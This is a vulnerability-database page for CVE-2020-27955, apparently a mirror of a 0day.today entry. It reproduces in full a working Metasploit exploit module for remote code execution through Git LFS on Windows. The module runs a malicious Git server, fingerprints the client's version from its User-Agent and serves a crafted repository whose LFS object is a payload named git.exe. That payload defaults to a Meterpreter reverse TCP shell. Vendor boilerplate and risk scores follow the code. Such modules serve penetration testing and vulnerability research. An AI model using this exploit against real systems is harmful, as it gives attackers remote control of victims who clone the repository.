Lucene search
K

Git git-lfs Remote Code Execution Exploit

🗓️ 17 Sep 2021 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 474 Views

Git Remote Code Execution via git-lfs (CVE-2020-27955) allows attackers to achieve remote code execution if the Windows-using victim is tricked into cloning the attacker’s malicious repository using a vulnerable Git version control tool. The vulnerability affects Git LFS <= 2.12 and requires the user to clone the malicious repository on windows with a git version less than 2.29.0

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Git
  include Msf::Exploit::Git::Lfs
  include Msf::Exploit::Git::SmartHttp
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::FileDropper
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Git Remote Code Execution via git-lfs (CVE-2020-27955)',
        'Description' => %q{
          A critical vulnerability (CVE-2020-27955) in Git Large File Storage (Git LFS), an open source Git extension for
          versioning large files, allows attackers to achieve remote code execution if the Windows-using victim is tricked
          into cloning the attacker’s malicious repository using a vulnerable Git version control tool
        },
        'Author' => [
          'Dawid Golunski ', # Discovery
          'space-r7',        # Guidance, git mixins
          'jheysel-r7'       # Metasploit module
        ],
        'References' => [
          ['CVE', '2020-27955'],
          ['URL', 'https://www.helpnetsecurity.com/2020/11/05/cve-2020-27955/']
        ],
        'DisclosureDate' => '2020-11-04', # Public disclosure
        'License' => MSF_LICENSE,
        'Platform' => 'win',
        'Arch' => [ARCH_X86, ARCH_X64],
        'Privileged' => true,
        'Targets' => [
          [
            'Git LFS <= 2.12',
            {
              'Platform' => ['win']
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
          'WfsDelay' => 10
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [
            ARTIFACTS_ON_DISK
          ]
        }
      )
    )

    register_options([
      OptString.new('GIT_URI', [ false, 'The URI to use as the malicious Git instance (empty for random)', '' ])
    ])
    deregister_options('RHOSTS')
  end

  def setup_repo_structure
    payload_fname = 'git.exe'
    @hook_payload = generate_payload_exe

    ptr_file = generate_pointer_file(@hook_payload)
    git_payload_ptr = GitObject.build_blob_object(ptr_file)

    git_attr_fname = '.gitattributes'
    git_attr_content = "#{payload_fname} filter=lfs diff=lfs merge=lfs"
    git_attr_obj = GitObject.build_blob_object(git_attr_content)

    register_dir_for_cleanup('.git')
    register_files_for_cleanup(git_attr_fname)

    # root of repository
    tree_ent =
      [
        {
          mode: '100644',
          file_name: git_attr_fname,
          sha1: git_attr_obj.sha1
        },
        {
          mode: '100755',
          file_name: payload_fname,
          sha1: git_payload_ptr.sha1
        }
      ]

    tree_obj = GitObject.build_tree_object(tree_ent)
    commit = GitObject.build_commit_object(tree_sha1: tree_obj.sha1)

    @git_objs =
      [
        commit, tree_obj, git_attr_obj, git_payload_ptr
      ]

    @refs =
      {
        'HEAD' => 'refs/heads/master',
        'refs/heads/master' => commit.sha1
      }
  end

  #
  # Determine whether or not the target is exploitable based on the User-Agent header returned from the client.
  # The git version must be equal or less than 2.29.2 while git-lfs needs to be equal or less than 2.12.0 to be
  # exploitable by this vulnerability.
  #
  # Returns +true+ if the target is suitable, else fail_with descriptive message
  #
  def target_suitable?(user_agent)
    info = fingerprint_user_agent(user_agent)
    if info[:ua_name] == Msf::HttpClients::UNKNOWN
      fail_with(Failure::NoTarget, "The client's User-Agent string was unidentifiable: #{info}. The client needs to clone the malicious repo on windows with a git version less than 2.29.0")
    end

    if info[:os_name] == 'Windows' &&
       ((info[:ua_name] == Msf::HttpClients::GIT && Rex::Version.new(info[:ua_ver]) <= Rex::Version.new('2.29.2')) ||
         (info[:ua_name] == Msf::HttpClients::GIT_LFS && Rex::Version.new(info[:ua_ver]) <= Rex::Version.new('2.12')))
      true
    else
      fail_with(Failure::NotVulnerable, "The git client needs to be running on Windows with a version equal or less than 2.29.2 while git-lfs needs to be equal or less than 2.12.0. The user agent, #{info[:ua_name]}, found was running on, #{info[:os_name]} and was at version: #{info[:ua_ver]}")
    end
  end

  def on_request_uri(cli, req)
    target_suitable?(req.headers['User-Agent'])
    if req.uri.include?('git-upload-pack')
      request = Msf::Exploit::Git::SmartHttp::Request.parse_raw_request(req)
      case request.type
      when 'ref-discovery'
        response = send_refs(request)
      when 'upload-pack'
        response = send_requested_objs(request)
      else
        fail_with(Failure::UnexpectedReply, 'Git client did not send a valid request')
      end
    else
      response = handle_lfs_objects(req, @hook_payload, @git_addr)
      unless response.code == 200
        cli.send_response(response)
        fail_with(Failure::UnexpectedReply, 'Failed to respond to Git client\'s LFS request')
      end
    end
    cli.send_response(response)
  end

  def create_git_uri
    "/#{Faker::App.name.downcase}.git".gsub(' ', '-')
  end

  def primer
    @git_repo_uri = datastore['GIT_URI'].empty? ? create_git_uri : datastore['GIT_URI']
    @git_addr = URI.parse(get_uri).merge(@git_repo_uri)
    print_status("Git repository to clone: #{@git_addr}")
    hardcoded_uripath(@git_repo_uri)
    hardcoded_uripath("/#{Digest::SHA256.hexdigest(@hook_payload)}")
  end

  def handle_lfs_objects(req, hook_payload, git_addr)
    git_hook_obj = GitObject.build_blob_object(hook_payload)

    case req.method
    when 'POST'
      print_status('Sending payload data...')
      response = get_batch_response(req, git_addr, git_hook_obj)
      fail_with(Failure::UnexpectedReply, 'Client request was invalid') unless response
    when 'GET'
      print_status('Sending LFS object...')
      response = get_requested_obj_response(req, git_hook_obj)
      fail_with(Failure::UnexpectedReply, 'Client sent invalid request') unless response
    else
      fail_with(Failure::UnexpectedReply, 'Unable to handle client\'s request')
    end

    response
  end

  def send_refs(req)
    fail_with(Failure::UnexpectedReply, 'Git client did not perform a clone') unless req.service == 'git-upload-pack'

    response = get_ref_discovery_response(req, @refs)
    fail_with(Failure::UnexpectedReply, 'Failed to build a proper response to the ref discovery request') unless response

    response
  end

  def send_requested_objs(req)
    upload_pack_resp = get_upload_pack_response(req, @git_objs)
    unless upload_pack_resp
      fail_with(Failure::UnexpectedReply, 'Could not generate upload-pack response')
    end

    upload_pack_resp
  end

  def exploit
    setup_repo_structure
    super
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 Sep 2021 00:00Current
9.1High risk
Vulners AI Score9.1
CVSS 210
CVSS 3.19.8
EPSS0.92929
474